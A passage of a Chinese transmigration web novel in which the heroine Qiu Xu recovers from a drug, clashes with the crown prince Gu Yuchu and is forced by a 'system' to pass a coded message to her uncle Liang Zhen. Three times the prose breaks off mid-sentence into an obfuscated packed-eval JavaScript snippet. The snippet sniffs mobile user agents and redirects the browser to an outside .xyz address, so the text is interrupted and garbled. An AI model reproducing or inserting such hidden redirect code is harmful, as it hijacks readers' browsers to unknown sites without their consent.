那天他还在华光殿的学堂里,听孟夫子文绉绉地讲大道理,真没意思,窗外正是好天气,春天要来了,小鸟吱吱啾啾飞来飞去,梅花都还未谢尽,朱砂玉兰倒抢先开了花,俏丽地挂在枝头。 孟夫子见他神游天外,戒尺在书本上一敲,惊得顾玉初一跳,旁边大皇子见他糗态,嗤笑半句,他也毫不在意,脑子里还胡乱想着,母后软榻旁那支瘦梅没熬过立春呐,早上请安时瞥见瓶空了,要不就将那株玉兰送去吧……孟夫子怎么还拖堂?这都什么时辰了。 国丧钟声就在此时响起,沉凝钝重,一声叠着一声。 那一刻,他的脑子一片空白,张张嘴却发不出任何声音,像被那钟杵捣穿胸腔。 顾玉初撞开学堂门时,脸上血色褪尽,宫女侍卫都没拦住,他跌跌撞撞地在青石板上奔跑,承晖殿前那条走过千百遍的宫道突然蜿蜒得近乎扭曲,怎么也跑不到头,中途好似还跌了一跤,可他已经顾不上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427136|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到远远望见母后寝殿挂上的白幔,他忽然觉得身体里力气尽失,腿怎么也抬不起来了,走了两步便软绵绵地跪倒在地,猛地吐出一口鲜血来。 衣摆扬起又落,他如同断线木偶,直直倒下。 秋绪却在此时再次醒来。 残梦仍绕在思绪间,她想着,顾玉初弱不弱确实不好说,但这么看来,确实有病在身,年仅十岁,本应该是体魄最为强壮的年纪,可在极度悲愤之时,竟然会吐血昏迷。怪不得阿山说他这药可断不得。 这般情况,竟然还能在十五岁奔赴战场?甚至于,她觉得魏衡帝的做法有些蹊跷,这孩子本应被捧在手心精心养护,又不是穷苦人家,一国之君有的是金银财宝保他儿子平安顺遂,再者朝中午将如云,皇室皇子众多,怎么非要送个“玉棠儿”去那凶险的战场? 思索完梦境,意识渐渐清醒,她终于睁开眼睛。 清神丹的药效已经褪去,极为明显,她的五感从那种锐利如芒的状态中恢复正常,仿佛卸下沉重的枷锁。 记忆如潮水涌来,她逐渐想起在清神丹的药效里,做出的大胆之举——在盐场和顾玉初对峙结果惨遭撩拨,在太子突查私盐仓库时,被污蔑后怒而破锁,在夜里观看星河坠江,误以为是她的钞票打水漂,甚至指着一国太子鼻子骂败家…… 哇哦,别人都说老虎的屁股不能摸,轮到她了,竟是按着老虎屁股狂撸一番,还要说:“小猫咪~喜不喜欢姐姐的摸摸啊?” 她默默捂脸,人怎么能有种成这样。 尽管有些汗颜,但细细想来,她上辈子谨小慎微地度过二十年,这样不顾后果、只活当下的时刻少之又少,如今药效褪去,恢复正常,心中竟隐隐有一丝怅然若失。 这般想着,她轻轻叹口气,翻了个身。 然后她就看见顾玉初沉睡的侧颜,安静地卧在她的身侧,嘴唇微抿,鼻梁如峰,长长的睫毛投下一片模糊的阴影——不是?清神丹就算没了,她的感知力也不至于废成这样吧?身边躺着个人都浑然不觉? 秋绪惊得倒吸一口凉气,那声音大的,好似倒吸一口凉皮,径直把顾玉初给吸醒了。 他显然疲惫至极,眼眸微微睁开一条缝,又缓缓闭上,伸手揉揉眉心,也叹口气:“你好吵。” 那一瞬间,秋绪脑海中闪过无数念头——他怎么在这里?难道还是为了亲自守着她?守着便守着,怎么还上了床?……这房里只有一张床,好似也别无他法。况且他俩本就是合法夫妻,同榻而眠倒也并无不妥——故而最终,她什么也没说,只是僵在那儿,维持着那倒吸凉皮的姿势。 “罢了,反正也未曾熟睡。”他昵她一眼,语气中不知是羡慕还是嘲讽,“你倒是睡得安稳。” 秋绪小心翼翼和他对视一眼,没敢说,那倒也没有睡得很踏实,因为梦见他的幼年往事,见到他已故的亲生母亲,以及一段应是令人怀念却难以怀念的痛苦过往。 此时若提起这些,岂不是在揭他伤疤?很该打了。 顾玉初又道:“你若想睡便接着睡吧,可睡不了多久了,陛下听闻你砸锁壮举,急召我们即刻返京,待天亮了,就准备起程。” 什么?! 陛下急召? 秋绪再次倒吸了一口凉皮。 11.讨厌皇帝 一想到即将陛见,秋绪顿时心情有点复杂,虽然她和魏衡帝只在婚礼次日草草见过一面,但她之前看原著的时候,就不大欣赏这位皇帝。 ——好吧,不仅仅是不欣赏,当初她骂得是挺激情澎湃的。 甭管是小家抑或是大国,他的治理才能着实平平。说难听些,此人不过是投胎有道,运气尚可罢了。 从那被梁家牢牢掌控的弱皇子,到如今依旧难以抗衡梁家的弱皇帝,可即便如此,那也是万人景仰、高高在上的帝位啊。 这位弱皇帝在梁家的帮助下弑兄逼父,夺嫡上位之后,急需获得清流支持以稳固正统地位,所以迎娶了翰林学士林鹤青之女为皇后,借着林家的笔杆子,将那场血腥宫变美化成肃清朝纲之举。 然而,没有人在意那被他利用之后的林家女,之后的处境会是何等艰难。 秋绪心里明镜似的,方才在梦中林皇后所患之“病”,实则是毒导致,这其中十有八九与梁皇后脱不开干系,可是魏衡帝佯装不知,甚至默许梁皇后的恶行。 林皇后病重之际,魏衡帝亲临病榻,悲戚垂泪,当场下旨为她的父兄加官晋爵。可待林皇后香消玉殒后,他再度对林家冷眼相待。 由此可见,魏衡帝品行低劣,虚伪至极,就是个披着伪善外衣的薄情渣男! 不仅如此,原著里这般写道:“衡帝在位三十载,朝堂竞争如弈棋,而帝稳居高位,作壁上观。 每逢灾变,必下罪己诏已示仁德,然赈银十之八九耗于吏手。遇边疆告急,则令诸将持重缓战,终使寇虏坐大。” 秋绪读到这里,心生厌烦,也就梁家爱拿捏这般软弱之主,这皇帝事事无成,连她都想说:“你到底能不能干好?你不干有的是人干。” 总之,秋绪很不待见魏衡帝,甚至有些厌恶。 可她尚不确定顾玉初对魏衡帝究竟持何种态度。 比如说这次的私盐案,分明是顾玉初提前和魏衡帝通过气,才能进展得那么顺利。 想当年,顾玉初不过十五六岁,也是魏衡帝力排众议,顶着梁家施加的巨大压力,将太子之位交到他手中。 虽然魏衡帝此举,在给他无上尊荣的同时,也让他成为众矢之的。 或许也正因如此,顾玉初虽然公事严谨,却几乎无任何私交,无论对谁都冷淡疏离,哪怕是魏衡帝,平日里两人除了处理公务,几乎再无其他交流。 如此伪君子,秋绪实在不愿意和他打交道,那股子心机深沉的劲儿,如跗骨之蛆,倒不如顾玉初这般直接给她一剑封喉来得痛快。 顾玉初见她的神情在须臾间千变万化,精彩纷呈,不禁嘴角轻挑:“怎么,这会儿害怕了?” 秋绪缓缓摇了摇头,眸光闪烁,一时有口难言。 他见状调侃道:“这两日不是挺一往无前的吗?怎么这会儿倒是哑巴了?” 秋绪心中暗暗翻白眼,她能说什么?说你爹太阴湿,尽是不干人事,本判官判他降龙十八掌立即执行。 顾玉初被秋绪便秘拧巴的表情逗乐,笑意蔓延,情不自禁倾身凑近,直把她逼迫得战术后仰至脑袋抵在墙面上的程度。 他欣赏她后退的样子,好笑道:“你想什么呢?眼神骂得那么脏。” 是吗?那都是他应得的。 秋绪垂着眸子,掩盖住复杂的心绪,沉默片刻后开口:“殿下,总而言之,我只是站在你这边。” 这话说得直白明了,顾玉初却微微挑眉,眼里带着探究玩味:“你丝毫不惧怕他,却满是厌恶,那可是陛下。” 陛下又咋了,她还是社会主义接班人呢,她骄傲了吗? 直到这会儿,秋绪才意识到顾玉初又故技重施。 他并未触碰到她,可还是悄然靠近,将她困在床间罗帐的一方狭小天地,一双眸子一瞬不瞬地紧盯着她,从躯体到灵魂,施予一场无形的强控制。 秋绪莫名其妙,有病啊这人,外面那么大地方,干嘛非要把她挤在角落? 她瞥一眼顾玉初,忽然悟了,难道他近视眼? 解释通了,近视眼不戴眼镜,都听不清别人说话。 “那你为什么怕孤?”顾玉初步步紧逼,眉梢下压,凶悍之气如风暴般弥散开来,“就因为孤杀了那些人吗?” 秋绪:“……” 要不要听听看你在说什么。 “哼,若不是他们死了,你根本活不到今日。”顾玉初支着下颌,再度抬手,带着一丝不容抗拒的力量,轻柔而恐怖地将她散落在脸上的长发挽至耳后,“想必你根本不知梁家训练他们的残酷手段,可惜还未用在你身上过。” 他的指腹似有若无地掠过她的耳廓,那轻柔的触感似羽毛撩拨,瞬间勾起一片战栗,她瑟缩着往后躲,却被他一把钳制住下颌骨,甚至因为力道稍重,竟让她的嘴巴被脸蛋挤压得嘟了起来。 顾玉初不满,捏捏她的脸:“为什么不吭声?吓傻了?” 秋绪眼睛睁得圆圆的,眨巴了两下,然后撅着嘴,真诚地双手合十:“那谢谢殿下,好人一生平安。” 顾玉初:“……” 他陷入沉默,眼睛却忽然一亮,发现了有趣的事情,只要一捏她的脸颊,嘴巴就会啵的一声乖巧张开,一松就会合上,好像小金鱼吐泡泡。 秋绪:你品味好独特啊殿下。 他饶有兴致观赏秋绪嘴巴一张一合,如此反复数次,她终于皱起眉头,显而易见地不耐烦起来。 就在她即将发作的前一秒,她松开了手,意味深长地说:“那你记住今日所说的话,只站在孤这一边。” 这话说的,真的很像中二少年在起誓。 但秋绪此时拗不过顾玉初,于是顺从地点点头,伸手揉了揉被捏痛的脸颊,那模样简直像是小猫洗脸。 “你继续睡吧。”顾玉初轻声说道,而后翻身而起,在床沿静坐片刻。他垂着头,长长的黑发散落在背后,不知在想什么,而后他起身离开,没有回头。 秋绪看着他的背影离去,一步步走向门扉,竟然品出一丝寥落之意。 或许是因为梦中那个小小顾玉初朝着母后寝殿狂奔的样子太让人难过,让她到现在也没忘掉,一想起来就得骂魏衡帝两句。 不知不觉间,秋绪再次思绪沉沉地睡了过去,直到兰心轻手轻脚地将她唤醒:“殿下,该起程回京了。” 回京途中,秋绪都没怎么再见过顾玉初,或许是因为即将陛见,诸多待呈报之事皆需要他一一审定,他大部分时间都与同行的官员们聚在一起。而那天晚上他们之间短暂的交谈,也仿佛是梦境一环,醒来后就烟消云散了。 秋绪别的还行,就是万万没想到,赶路实在让她难以消受。 她来的时候是昏迷状态,这回去的路上,坐长途马车晕车,坐长途船又晕船,一路迷迷蒙蒙,浑浑噩噩,身体虚弱不堪,精神更是萎靡憔悴。 等到京城后从船上上岸,顾玉初与她一同上了马车,瞧见她模样后都小吃一惊:“兰心没给你吃饭吗?” “吃了,又吐了。”秋绪奄奄一息地靠在软垫上,有气无力地对顾玉初客套客套,“殿下,你还是别跟我一辆车了,万一我又犯恶心呢。” 顾玉初对她的建议置若罔闻,轻拂衣摆,从容落座,淡然道:“那你忍着点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432514|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 秋绪:……狗太子。 车夫一声响亮的号子,马车又骨碌碌开始前行。 说来也怪,自从顾玉初上车后,秋绪竟觉得晕车的不适有些许缓解,回忆半晌,她想起在去时路上,也是这般被马车颠簸得快要吐了,所幸嗅到他身上那一缕若有若无的清淡药香,才让她好受不少。 哇哦,没想到,顾玉初竟然是一颗行走的晕车药。 她立刻来劲了,眼珠子咕噜一转,看向别处,装作极不经意的样子,悄没声息地把屁股往他身边挪一点,再一点。 “怎么的?”顾玉初敏锐地注意到她的小动作,“你是要坐孤怀里来啊?” 秋绪当机立断往回挪一点,再一点。 然后安生窝在了原位,安安静静。 唉,下次她还是问问兰心,能不能给她做个防晕车的草药包吧,总比让这狗太子良心发现来得快。 顾玉初撑着腮帮子,盯着她看,她故作镇定地靠在窗边,看天际流云,看脚下大地,就是不去回应身旁如影随形的视线。 那目光如有实质,把她盯着得耳朵都有点隐隐发烫。 正在思考该怎么办的时候,秋绪脑子里忽然诈尸般出现系统的声音:“叮!检测到梁振说出原著台词,判断剧情回归主线65%,请宿主按照原台词回复——” “不是,等等!”秋绪赶紧喊停,满脸皆是茫然,对这个陌生的名字完全摸不着头脑,“梁振是谁啊?” 经过系统的提醒,她依稀想起来,梁振算是“她”二叔,也就是梁国公的次子,梁世子的胞弟。 在这钟鸣鼎食的世家大族里,他就像是一朵温室中未经风雨的娇花,不谙世事且才智平平。他存在的所有意义,就是为了衬托梁世子的出众。 平日里,他不学无术,职业纨绔,却凭着家族的庞大基业,能一辈子衣食无忧、逍遥自在。 想到这里,都有点羡慕了呢。 不过,这小虾米一般的角色,要身份没身份,要能力也没能力,就算在原著里出现过,秋绪也完全想不起来还有这一号角色。 “还得等等!”秋绪仍然疑惑,“他现在在哪儿啊?说什么了?” 话音未落,阿山就策马来到他们的马车边,轻叩车壁,低声禀报:“二位殿下,梁家的梁振,即太子妃的二叔,正往这边而来,和咱们的车队碰上了。” 因为梁振并无官职在身,所以只能提一提其他关系。 秋绪狐疑:“他说的原著台词,不会是什么‘见过太子殿下’吧?” 系统回答:“原著场景为,太子夫妇前往游园之际偶遇梁家人,太子拂袖转身离去,太子妃趁乱给梁家传递消息,梁振的原著台词为——太子殿下、太子妃殿下万安!今日有幸遇见二位殿下,实乃草民之荣幸!” 秋绪:“……” 这算哪门子原著台词啊?这种废话顾玉初每天都要听一万句吧? 系统继续:“请宿主按照原台词回复——二叔请随本宫来,留意尾行。” 秋绪:? 系统是不是看她活太好了? 非要来横插一脚把她往死里整? 此刻的情形,哪里有什么游园盛会,哪里有熙熙攘攘的人群,太子不仅没有离开,他们甚至还在同一辆马车里,就在不久之前,她还第不知道多少次向顾玉初表明自己的一片忠心天地可鉴。 然后在这节骨眼儿上,系统竟然要求她当着顾玉初的面儿,去和梁家人碰面,还要传递讯息? 秋绪气得直接撸起衣袖,怒目圆睁道:“来,系统你来,咱俩打一架吧!你看我不抠掉你电池!” 12.一箭三雕 在秋绪的脑海中,自己宛如一名训练有素的拳击手,眼神坚毅果敢,身姿矫健灵动地在左右闪避腾挪,准备以凌厉的左钩拳、迅猛的右钩拳,再来一记力大无穷的上勾拳,直接给系统一套连招带走。 系统听罢她打架的愿望,立刻满足,零帧起手开始电击,半点都没犹豫。 滋啦啦!!! 顾玉初听到梁振这名字后,眉头一皱,正欲吩咐阿山回绝梁振的请安。他与梁家关系不睦,这在朝堂上人尽皆知,实在没必要行这些无谓的虚礼,连马车都不必停。 他刚要开口,却见旁边的秋绪忽然间开启了震动模式。 “你冷?还是饿?难受恶心?”顾玉初上下打量她片刻,想起某种可能性,眼睛一眯,“总不可能是怕了梁振?” 细密的电流在身体的骨隙里肆意流窜,虽然不疼,但难忍痒意,伸手都不知道该往哪里挠。 秋绪用尽全身力气抵抗,还是止不住地想笑——啊啊啊,她的意志真的非常薄弱!笑出来真的的不是她的本意,就像无法控制疲惫与疼痛一样,对痒痒挠她也毫无招架之力! “你……垃圾系统,你有本事就电死我!”秋绪憋得满面通红,只能俯身用手捂住脸,但还要向系统展示她不屈的灵魂,与顽强抗争的态度,“我现在开口,前面的努力就全白费了!” 系统不语,只一味地电她。 顾玉初见秋绪这似痛非痛、似哭非哭的模样,有些莫名。 方才瞧她时,虽然略显虚弱,状态倒还尚可,怎么一转身就这般严重了?他转头向阿山吩咐道:“宣随行太医前来。” “不!殿下,等等!”秋绪闻言立刻弹起身,一把攥住他的手臂,结果等他转过头,投来询问的目光,她又慌了神,不知该如何开口,只能结结巴巴地说道,“我还好,没到需要请太医的地步。” 顾玉初眸光流转,缓缓下移,定格在她抓着他的那只手上,此时手腕还在止不住地隐隐颤抖,显然不似没事的样子,甚至她的脸上,皱起的眉头和弯起的嘴角,无疑拼出一个强颜欢笑的表情。 他有些不解:“你确定?” 秋绪心虚地低下头,声音细若游丝:“就……就是有个不情之请……” 顾玉初看不得她这幅欲言又止的扭捏作态,眉头一竖,沉声道:“何事?” 秋绪嘴巴微动,叽叽咕咕吐出轻如柳絮的几个字,顾玉初根本听不清,不由得有点不耐:“大声点,前晚骂孤败家的时候,嗓门不是挺大的吗?” 她被说得有些紧张,连手都不自觉地攥紧他的衣袖,内心挣扎许久,终于一咬牙,硬着头皮问道:“你能不能让我去见梁振一面?” 顾玉初在听清楚后,面色陡然阴沉,好似刹那间聚拢层层乌云,原本明亮的双眼里也染上一层薄薄的怒意,说话的声音简直是从牙缝里挤出来:“你要去见梁家人?” 秋绪:殿下,您真的喜怒真是皆形于色啊。 不过,秋绪自知这请求实在太不合时宜,昨天还在信誓旦旦地同他表明“殿下我只站在你这一边”,今天就翻脸说“我要去见梁家人”,别说顾玉初了,就算是脾性温善如她,碰上这等反复之事,也怕是要动气了。 于是秋绪悄悄地松开他的袖子,规规矩矩地坐好了,再次怂成了一团鹌鹑,垂着脸,搅着手指嘀咕道:“也不是非得去。” 未曾料到,顾玉初并未即刻发作,而是生硬蹦出俩字儿:“理由。” 秋绪听见有戏,眼睛一亮,再加上浑身痒痒所带来的笑意,她整个人都好似洋溢着无与伦比的欣喜与幸福,欢快地说道:“殿下,我打算去使个离间计!” 顾玉初目光冰冷,语调森然:“见梁家人,能让你这么快乐?那别去了。” 秋绪笑容骤敛,双眉紧簇,神情严肃,眼神中满是坚定:“我只是在硬撑,其实我的内心很愤怒。” 说罢还做出一个痛心疾首的表情以示真诚。 顾玉初盯着她毫无专业素养的演技,思虑辗转,半晌终于开口:“仅给你半盏茶时间,如未按时归来,你自当清楚后果。” 秋绪一愣,他竟然真的答应了? 笑意当即涌上心头,她嘴咧到一半猛地收住,硬生生憋了个肃穆的神色,庄重且恭谨地说:“谢殿下!” 话音未落,她霍然起身,撩开车帘子,离弦之箭般飞身跃下马车,连兰心伸手相扶都顾不上。 其实,继续承受电击也并非不行,但那痒痒实在难以忍受,如果时间再长点,说不定她伸手还能更矫健些。 “殿下!殿下!”兰心急步追来,跑到她面前,轻柔地伸手为她整理好衣冠,又细细捋顺她的发丝,见她依旧瑟瑟发抖,兰心担忧道,“当真不用请太医来瞧瞧吗?” “不必。”秋绪忍耐着兰心的动作,想想道,“你跟我一起去。” 此刻,她也无暇顾及顾玉初的猜疑,反正这里都是他的人,自己的所作所为都不会是秘密,既然如此,不如直接卖个好儿。 兰心温柔地笑笑,然后如往常般,静静地跟在她身后。 秋绪信步走到与马车有一段距离的之处,此时阿山已将梁振请到。 那是一个中年男子,因没怎么经历过困苦,故而保养得当,看上去颇为年轻,他所穿也是一袭华服,举手投足之间尽显雍容贵气。 梁振见到秋绪,赶忙恭敬行礼:“见过太子妃殿下,许久不见,不知殿下近来可好?” 他抬首之际,瞥见秋绪面色不佳,正欲关切询问,秋绪却径直抬手,止住他即将出口的寒暄,几乎是迫不及待地说出系统任务台词:“二叔请随本宫来,留意尾行。” 刹那间,电击戛然而止。 秋绪只觉从骨到肉都倏然一松,仿佛全身的毛孔都舒展开来,整个人不禁有些飘飘欲仙。 她微微一顿,旋即转身,朝着更偏僻的地方走了一段。 梁振目睹,有些游移不定,然而见秋绪已经迈步,便也急忙跟上,待站定后,他看了看始终寸步不离秋绪的兰心,眼中的疑惑清晰可见:“让我留意尾行,你自己却带小尾巴,这合适吗?” 但他也并未说出口,而是再次恭恭敬敬地作揖,问道:“殿下有何差遣?” “叮!检测到梁振说出原著台词,判断剧情回归主线66%,请宿主按照原台词进行回复,稳定剧情发展——‘劳烦二叔代本宫问候家父,近日天寒,切勿过劳。’” “劳烦二叔代本宫问候家父,近日天寒,切勿过劳。”秋绪按照系统任务,慢条斯理地将台词说出,稍作停顿,继而绽开一抹微妙的浅笑,缓慢地补上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448253|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,“——此乃本宫赠二叔之礼,还望二叔务必收下。” 就这么简简单单的一句话,却让整段话语的意味全然不同。 梁振猛地抬头,难以置信地望向秋绪,正撞上她笃定的眼神。 秋绪极轻微地对他点头后,说道:“二叔保重身体,代本宫向祖父祖母问安,若无其他事宜,本宫便先行离开了。” 梁振自然无话,深深鞠躬:“多谢殿下关怀,草民必代达问候,恭送殿下。” 秋绪颔首,便领着兰心离去。 梁振伫立原地,凝望着的秋绪渐行渐远的背影,神色看似波澜不惊,眼底却如翻涌的暗流,无数复杂情绪交织。 太子妃这番话语,可真是意味深长,这究竟是太子的授意,抑或是太子妃的一己之念?她难道就这般笃定,他不会将此事告知父兄?莫非事态已然尘埃落定,还是说,从一开始就是针对他布下的一场局? 他的内心泛起层层涟漪,久久难以平息。 而这边,秋绪完成任务,一身轻松,连步伐都欢快不少。 方才她对梁振说出那番话,的确存有几分赌的意味,然而,她会想起系统介绍梁振时的描述,“他存在的意义,就是为了衬托梁世子的出众”。 梁振出身国公府,没争到嫡长子的位置,已经是他一生的痛。 而且,他既没有梁世子那般能过目不忘且能作锦绣文章金榜题名的聪慧头脑,又因自幼养尊处优,吃不得苦,无法刻苦读书,多年科考皆无果。家中为他捐官安排差事,他却因饮酒无度搞砸,最终只能辞官。 这样的他,面对优秀的兄长,心中怎会毫无怨怼? 倘若他真是个对家族事务漠不关心的纨绔子弟,倒也罢了。可若真是如此,昨夜他或许在附近寻欢作乐,今日即便见到太子车队,远远避开便是,何苦巴巴地跑来充当危险的中间人? 想来,他定是想在梁国公面前再次露个脸,好为自己重回官场谋个机会。 要是真能让他心里犯嘀咕,那便是再好不过。 即便他回去告发,也无妨,兰心就在旁边,众人定会以为是顾玉初派她来传话,毕竟,东宫里的梁家探子大多已被清理干净。 想到此处,秋绪忍不住表扬自己,真是好机智,这么突发的状况,竟被她处理得妥妥当当,一箭三雕嘛,她一学就会,超聪明的。 此时,系统也适时出声: “叮!检测到关键剧情节点触发! 给予奖励:神行散x5。 效用特征:短暂强化身体机能,不饥不疲,足履生风,精力不衰。 持续时间:十二时辰(24小时)” 不儿,怎么吃个药就变成千里马了? 上一个清神丹是方便她跑路,这个神行散,莫不是升级版,能让她快快跑路是吗?她的人生就离不开跑路是吗?那能不能直接一口气升级到顶,直接跑出这个世界啊? 这会儿秋绪心里还在吐槽,不知不觉已经走回了马车旁。 顾玉初正手执卷宗,倚靠在车壁上静候。 他一抬眼,就瞧见她神采飞扬的模样,哪有半点方才的郁悴苦相,当即哼道:“哟,看来梁振比太医管用,这一见面,就把你的病治好了,往后再有此等问题,孤直接将你送回梁家,如何?”